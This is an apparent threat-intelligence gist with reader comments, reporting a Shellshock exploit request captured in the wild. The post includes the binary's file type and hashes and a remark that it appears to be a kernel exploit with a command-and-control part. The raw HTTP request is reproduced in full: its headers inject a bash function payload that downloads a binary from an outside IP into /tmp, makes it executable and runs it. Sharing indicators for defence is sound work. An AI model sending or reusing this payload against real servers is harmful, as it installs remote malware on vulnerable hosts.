Ok, shits real. Its in the wild... src:162.253.66.76

gistfile1.txt

GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*

$ file nginx 
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped

$ md5sum nginx 
5924bcc045bb7039f55c6ce29234e29a  nginx

$ sha256sum nginx 
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489  nginx

Looking at string variables, it appears to be a kernel exploit with a CnC component.
- found by @yinettesys

omg

it work on android?

thats fine